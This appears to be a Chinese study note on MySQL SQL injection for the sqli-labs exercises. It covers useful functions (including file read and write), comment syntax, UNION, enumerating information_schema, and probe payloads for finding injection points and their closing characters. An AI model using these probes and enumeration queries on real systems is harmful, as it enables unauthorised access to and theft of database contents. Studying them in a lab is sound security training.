一、函數
1、version() MYsql版本
2、user() 數據庫用戶名
3、database() 數據庫名
4、@@datadir 數據庫路徑
5、@@version_compile_os 操作系統版本
6、current_user() 當前用戶名(可查看權限)
7、load_file() 讀文件
8、into outfile() / into dumpfile 寫文件
9、group_concat(str1,str2...) 連接一個組所有的字符串,並以逗號分隔每一條數據。
二、注釋,可用# --+ url 中用%23
三、union操作符
用於合並兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的 列的順序必須相同。
SQL UNION 語法:
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注釋:默認地,UNION 操作符選取不同的值。如果允許重復的值,請使用 UNION ALL。
SQL UNION ALL 語法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 結果集中的列名總是等於 UNION 中第一個 SELECT 語句中的列名。
四、Mysql 有一個系統數據庫 information_schema,
存儲着所有的數據庫的相關信息,一般的, 我們利用該表可以進行一次完整的注入。以下為一般的流程。
猜數據庫
select schema_name from information_schema.schemata
猜某庫的數據表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
獲取某列的內容
Select *** from ****
上述知識參考用例:less1-less4
五、注釋
1、單行注釋,#后面直接加內容 ;單行注釋,--后面必須要加空格 ;
2、多行注釋,/**/中間可以跨行;
3、內聯注入, 內聯注釋是MySQL數據庫為了保持與其他數據庫兼容,特意新添加的功能。
為了避免從MySQL中導出的SQL語句不能被其他數據庫使用,它把一些 MySQL特有的語句放在 /*! ... */ 中,
這些語句在不兼容的數據庫中使用時便 不會執行。而MySQL自身卻能識別、執行。
六、order by 語句
1. ORDER BY 語句用於 根據指定的列對結果集進行排序。
2. ORDER BY 語句默認 按照升序對記錄進行排序。
七、字符串連接函數
1、concat(str1,str2..)函數 直接連接
2、group_concat(str1,str2..)函數 使用逗號做為分隔符
3、concat_ws(sep,str1,str2..)函數 使用第一個參數做為分隔符
八、information_schema
例:
select schema_name from information_schema.schemata;
select table_name from information_schema.schemata where table_schema = ‘zzcms’;
select column_name from information_schema.columns where table_schema = ‘zzcms’ and ‘table_name’ = ‘zzcms_zx’;
九、SQL注入的分類
十、基於聯合查詢的注入模式,步驟
十一、判斷是否存在注入與求閉合字符
1、id = 1’ 異常
id = 1 and 1 =1 -- + 正確
id = 1 and 1=2 -- + 錯誤
結論:極有可能存在數字型SQL注入
ps:單引號有個特殊的作用:命令分隔符
2、id = 1’ 異常
id = 1’ and 1 =1 -- + 正確
id = 1’ and 1=2 -- + 錯誤
結論:極有可能存在單引號字符型SQL注入
3、id = 1" 異常
id = 1” and 1 =1 -- + 正確
id = 1” and 1=2 -- + 錯誤
結論:極有可能存在雙引號字符型SQL注入
4、id = 1) 異常
id = 1) and 1 =1 -- + 正確
id = 1) and 1=2 -- + 錯誤
結論:極有可能存在括號數字型SQL注入